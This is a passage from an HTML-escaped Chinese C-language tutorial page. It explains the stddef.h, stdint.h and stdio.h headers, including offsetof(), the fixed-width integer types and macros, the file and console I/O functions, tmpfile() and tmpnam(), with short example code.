class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"stddef-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stddef-h\" class=\"headerlink\" title=\"stddef.h\"\u003e\u003c/a\u003estddef.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003estddef.h\u003c/code\u003e提供了常用类型和宏的定义,但没有声明任何函数。\u003c/p\u003e\u003cp\u003e这个头文件定义的类型如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003eptrdiff_t:指针相减运算时,返回结果的数据类型。\u003c/li\u003e\u003cli\u003esize_t:\u003ccode\u003esizeof\u003c/code\u003e运算符返回的类型。\u003c/li\u003e\u003cli\u003ewchar_t:一种足够大、能容纳各种字符的类型。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e以上三个类型都是整数类型,其中\u003ccode\u003eptrdiff_t\u003c/code\u003e是有符号整数,\u003ccode\u003esize_t\u003c/code\u003e是无符号整数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estddef.h\u003c/code\u003e定义了两个宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003eNULL:空指针。\u003c/li\u003e\u003cli\u003eoffsetof()\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"offsetof\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#offsetof\" class=\"headerlink\" title=\"offsetof()\"\u003e\u003c/a\u003eoffsetof()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eoffsetof()\u003c/code\u003e是\u003ccode\u003estddef.h\u003c/code\u003e定义的一个宏,用来返回某个属性在 Struct 结构内部的起始位置。由于系统为了字节对齐,可能会在 Struct 结构的属性之间插入空字节,这个宏对于确定某个属性的内存位置很有用。\u003c/p\u003e\u003cp\u003e它是一个带参数的宏,接受两个参数。第一个参数是 Struct 结构,第二个参数是该结构的一个属性,返回 Struct 起始位置到该属性之间的字节数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003es\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e b[\u003cspan class=\"number\"\u003e2\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, offsetof(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e s, a)); \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, offsetof(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e s, b)); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zu\\n\u0026#34;\u003c/span\u003e, offsetof(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e s, c)); \u003cspan class=\"comment\"\u003e// 12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对于上面这个 Struct 结构,\u003ccode\u003eoffsetof(struct s, a)\u003c/code\u003e一定等于\u003ccode\u003e0\u003c/code\u003e,因为\u003ccode\u003ea\u003c/code\u003e属性是第一个属性,与 Struct 结构自身的地址相同。\u003c/p\u003e\u003cp\u003e系统为了字节对齐,在\u003ccode\u003ea\u003c/code\u003e属性后面分配了3个空字节,导致\u003ccode\u003eb\u003c/code\u003e属性存储在第4个字节,所以\u003ccode\u003eoffsetof(struct s, b)\u003c/code\u003e和\u003ccode\u003eoffsetof(struct s, c)\u003c/code\u003e分别是4和12。\u003c/p\u003e\u003ch2 id=\"stdint-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdint-h\" class=\"headerlink\" title=\"stdint.h\"\u003e\u003c/a\u003estdint.h\u003c/h2\u003e\u003ch3 id=\"固定宽度的整数类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9B%BA%E5%AE%9A%E5%AE%BD%E5%BA%A6%E7%9A%84%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"固定宽度的整数类型\"\u003e\u003c/a\u003e固定宽度的整数类型\u003c/h3\u003e\u003cp\u003estdint.h 定义了一些固定宽度的整数类型别名,主要有下面三类。\u003c/p\u003e\u003cul\u003e\u003cli\u003e宽度完全确定的整数\u003ccode\u003eintN_t\u003c/code\u003e,比如\u003ccode\u003eint32_t\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e宽度不小少于某个大小的整数\u003ccode\u003eint_leastN_t\u003c/code\u003e,比如\u003ccode\u003eint_least8_t\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e宽度不小于某个大小、并且处理速度尽可能快的整数\u003ccode\u003eint_fastN_t\u003c/code\u003e,比如\u003ccode\u003eint_fast64_t\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面所有类型都是有符号的,类型名前面可以加一个前缀\u003ccode\u003eu\u003c/code\u003e,表示无符号类型,比如\u003ccode\u003euint16_t\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言标准要求至少定义以下类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003eint8_t uint8_t\u003c/li\u003e\u003cli\u003eint16_t uint16_t\u003c/li\u003e\u003cli\u003eint32_t uint32_t\u003c/li\u003e\u003cli\u003eint64_t uint64_t\u003c/li\u003e\u003cli\u003eint_least8_t uint_least8_t\u003c/li\u003e\u003cli\u003eint_least16_t uint_least16_t\u003c/li\u003e\u003cli\u003eint_least32_t uint_least32_t\u003c/li\u003e\u003cli\u003eint_least64_t uint_least64_t\u003c/li\u003e\u003cli\u003eint_fast8_t uint_fast8_t\u003c/li\u003e\u003cli\u003eint_fast16_t uint_fast16_t\u003c/li\u003e\u003cli\u003eint_fast32_t uint_fast32_t\u003c/li\u003e\u003cli\u003eint_fast64_t uint_fast64_t\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"最大宽度的整数类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%9C%80%E5%A4%A7%E5%AE%BD%E5%BA%A6%E7%9A%84%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"最大宽度的整数类型\"\u003e\u003c/a\u003e最大宽度的整数类型\u003c/h3\u003e\u003cp\u003e以下两个类型表示当前系统可用的最大宽度整数。\u003c/p\u003e\u003cul\u003e\u003cli\u003eintmax_t\u003c/li\u003e\u003cli\u003euintmax_t\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e如果想要尽可能大的整数时,可以使用上面类型。\u003c/p\u003e\u003ch3 id=\"固定宽度的整数常量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9B%BA%E5%AE%9A%E5%AE%BD%E5%BA%A6%E7%9A%84%E6%95%B4%E6%95%B0%E5%B8%B8%E9%87%8F\" class=\"headerlink\" title=\"固定宽度的整数常量\"\u003e\u003c/a\u003e固定宽度的整数常量\u003c/h3\u003e\u003cp\u003e以下一些带参数的宏,可以生成固定宽度的整数常量。\u003c/p\u003e\u003cul\u003e\u003cli\u003eINT8_C(x) UINT8_C(x)\u003c/li\u003e\u003cli\u003eINT16_C(x) UINT16_C(x)\u003c/li\u003e\u003cli\u003eINT32_C(x) UINT32_C(x)\u003c/li\u003e\u003cli\u003eINT64_C(x) UINT64_C(x)\u003c/li\u003e\u003cli\u003eINTMAX_C(x) UINTMAX_C(x)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003euint16_t\u003c/span\u003e x = UINT16_C(\u003cspan class=\"number\"\u003e12\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eintmax_t\u003c/span\u003e y = INTMAX_C(\u003cspan class=\"number\"\u003e3490\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"固定宽度的整数极限值\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%9B%BA%E5%AE%9A%E5%AE%BD%E5%BA%A6%E7%9A%84%E6%95%B4%E6%95%B0%E6%9E%81%E9%99%90%E5%80%BC\" class=\"headerlink\" title=\"固定宽度的整数极限值\"\u003e\u003c/a\u003e固定宽度的整数极限值\u003c/h3\u003e\u003cp\u003e下面一些宏代表了固定宽度的整数最大值和最小值。\u003c/p\u003e\u003cul\u003e\u003cli\u003eINT8_MAX INT8_MIN UINT8_MAX\u003c/li\u003e\u003cli\u003eINT16_MAX INT16_MIN UINT16_MAX\u003c/li\u003e\u003cli\u003eINT32_MAX INT32_MIN UINT32_MAX\u003c/li\u003e\u003cli\u003eINT64_MAX INT64_MIN UINT64_MAX\u003c/li\u003e\u003cli\u003eINT_LEAST8_MAX INT_LEAST8_MIN UINT_LEAST8_MAX\u003c/li\u003e\u003cli\u003eINT_LEAST16_MAX INT_LEAST16_MIN UINT_LEAST16_MAX\u003c/li\u003e\u003cli\u003eINT_LEAST32_MAX INT_LEAST32_MIN UINT_LEAST32_MAX\u003c/li\u003e\u003cli\u003eINT_LEAST64_MAX INT_LEAST64_MIN UINT_LEAST64_MAX\u003c/li\u003e\u003cli\u003eINT_FAST8_MAX INT_FAST8_MIN UINT_FAST8_MAX\u003c/li\u003e\u003cli\u003eINT_FAST16_MAX INT_FAST16_MIN UINT_FAST16_MAX\u003c/li\u003e\u003cli\u003eINT_FAST32_MAX INT_FAST32_MIN UINT_FAST32_MAX\u003c/li\u003e\u003cli\u003eINT_FAST64_MAX INT_FAST64_MIN UINT_FAST64_MAX\u003c/li\u003e\u003cli\u003eINTMAX_MAX INTMAX_MIN UINTMAX_MAX\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意,所有无符号整数类型的最小值都为0,所以没有对应的宏。\u003c/p\u003e\u003ch3 id=\"占位符-2\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8D%A0%E4%BD%8D%E7%AC%A6-2\" class=\"headerlink\" title=\"占位符\"\u003e\u003c/a\u003e占位符\u003c/h3\u003e\u003cp\u003eC 语言还在头文件 inttypes.h 里面,为上面类型定义了\u003ccode\u003eprintf()\u003c/code\u003e和\u003ccode\u003escanf()\u003c/code\u003e的占位符,参见《inttypes.h》一章。\u003c/p\u003e\u003ch2 id=\"stdio-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#stdio-h\" class=\"headerlink\" title=\"stdio.h\"\u003e\u003c/a\u003estdio.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003estdio.h\u003c/code\u003e是 C 语言的标准 I/O 库,用于读取和写入文件,也用于控制台的输入和输出。\u003c/p\u003e\u003ch3 id=\"标准-I-x2F-O-函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%A0%87%E5%87%86-I-x2F-O-%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"标准 I/O 函数\"\u003e\u003c/a\u003e标准 I/O 函数\u003c/h3\u003e\u003cp\u003e以下函数用于控制台的输入和输出。\u003c/p\u003e\u003cul\u003e\u003cli\u003eprintf():输出到控制台,详见《基本语法》一章。\u003c/li\u003e\u003cli\u003escanf():从控制台读取输入,详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003egetchar():从控制台读取一个字符,详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003eputchar():向控制台写入一个字符,详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003egets():从控制台读取整行输入(已废除),详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003eputs():向控制台写入一个字符串,详见《I/O 函数》一章。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"文件操作函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%96%87%E4%BB%B6%E6%93%8D%E4%BD%9C%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"文件操作函数\"\u003e\u003c/a\u003e文件操作函数\u003c/h3\u003e\u003cp\u003e以下函数用于文件操作,详见《文件操作》一章。\u003c/p\u003e\u003cul\u003e\u003cli\u003efopen():打开文件。\u003c/li\u003e\u003cli\u003efclose():关闭文件。\u003c/li\u003e\u003cli\u003efreopen():打开一个新文件,关联一个已经打开的文件指针。\u003c/li\u003e\u003cli\u003efprintf():输出到文件。\u003c/li\u003e\u003cli\u003efscanf():从文件读取数据。\u003c/li\u003e\u003cli\u003egetc():从文件读取一个字符。\u003c/li\u003e\u003cli\u003efgetc():从文件读取一个字符。\u003c/li\u003e\u003cli\u003eputc():向文件写入一个字符。\u003c/li\u003e\u003cli\u003efputc():向文件写入一个字符。\u003c/li\u003e\u003cli\u003efgets():从文件读取整行。\u003c/li\u003e\u003cli\u003efputs():向文件写入字符串。\u003c/li\u003e\u003cli\u003efread():从文件读取二进制数据。\u003c/li\u003e\u003cli\u003efwrite():向文件写入二进制数据。\u003c/li\u003e\u003cli\u003efseek():将文件内部指针移到指定位置。\u003c/li\u003e\u003cli\u003eftell():获取文件内部指针的当前位置。\u003c/li\u003e\u003cli\u003erewind():将文件内部指针重置到文件开始处。\u003c/li\u003e\u003cli\u003efgetpos():获取文件内部指针的当前位置。\u003c/li\u003e\u003cli\u003efsetpos():设置文件内部指针的当前位置。\u003c/li\u003e\u003cli\u003efeof():判断文件内部指针是否指向文件结尾。\u003c/li\u003e\u003cli\u003eferror():返回文件错误指示器的状态。\u003c/li\u003e\u003cli\u003eclearerr():重置文件错误指示器。\u003c/li\u003e\u003cli\u003eremove():删除文件。\u003c/li\u003e\u003cli\u003erename():文件改名,以及移动文件。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"字符串操作函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%93%8D%E4%BD%9C%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"字符串操作函数\"\u003e\u003c/a\u003e字符串操作函数\u003c/h3\u003e\u003cp\u003e以下函数用于操作字符串,详见《字符串操作》一章。\u003c/p\u003e\u003cul\u003e\u003cli\u003esscanf():从字符串读取数据,详见《I/O 函数》一章。\u003c/li\u003e\u003cli\u003esprintf():输出到字符串。\u003c/li\u003e\u003cli\u003esnprintf():输出到字符串的更安全版本,指定了输出字符串的数量。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"tmpfile\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#tmpfile\" class=\"headerlink\" title=\"tmpfile()\"\u003e\u003c/a\u003etmpfile()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etmpfile()\u003c/code\u003e函数创建一个临时文件,该文件只在程序运行期间存在,除非手动关闭它。它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* \u003cspan class=\"title function_\"\u003etmpfile\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etmpfile()\u003c/code\u003e返回一个文件指针,可以用于访问该函数创建的临时文件。如果创建失败,返回一个空指针 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* tempptr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etempptr = tmpfile();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e调用\u003ccode\u003eclose()\u003c/code\u003e方法关闭临时文件后,该文件将被自动删除。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etmpfile()\u003c/code\u003e有两个缺点。一是无法知道临时文件的文件名,二是无法让该文件成为永久文件。\u003c/p\u003e\u003ch3 id=\"tmpnam\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#tmpnam\" class=\"headerlink\" title=\"tmpnam()\"\u003e\u003c/a\u003etmpnam()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etmpname()\u003c/code\u003e函数为临时文件生成一个名字,确保不会与其他文件重名。它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003etmpname\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的参数是一个字符串变量,\u003ccode\u003etmpnam()\u003c/code\u003e会把临时文件的文件名复制到这个变量里面,并返回指向该字符串变量的指针。如果生成文件名失败,\u003ccode\u003etmpnam()\u003c/code\u003e返回空指针 NULL。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e filename[L_tmpname];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (tmpnam(filename) != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 输出诸如 /tmp/filew9PMuZ 的文件名\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, filename);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Something wrong!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eL_tmpname\u003c/code\u003e是\u003ccode\u003estdio.h\u003c/code\u003e定义的一个宏,指定了临时文件的文件名长度。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etmpname()\u003c/code\u003e的参数也可以是一个空指针 NULL,同样返回指向文件名字符串的指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* filename;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efilename = tmpnam(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003efilename\u003c/code\u003e就是\u003ccode\u003etmpnam()\u003c/code\u003e生成的文件名。\u003c/p\u003e\u003cp\u003e该函数只是生成一个文件名,稍后可以使用\u003ccode\u003efopen()\u003c/code\u003e打开该文件并使用它。\u003c/p\u003e\u003ch3 id=\"fflush\"\u003e\u003ca 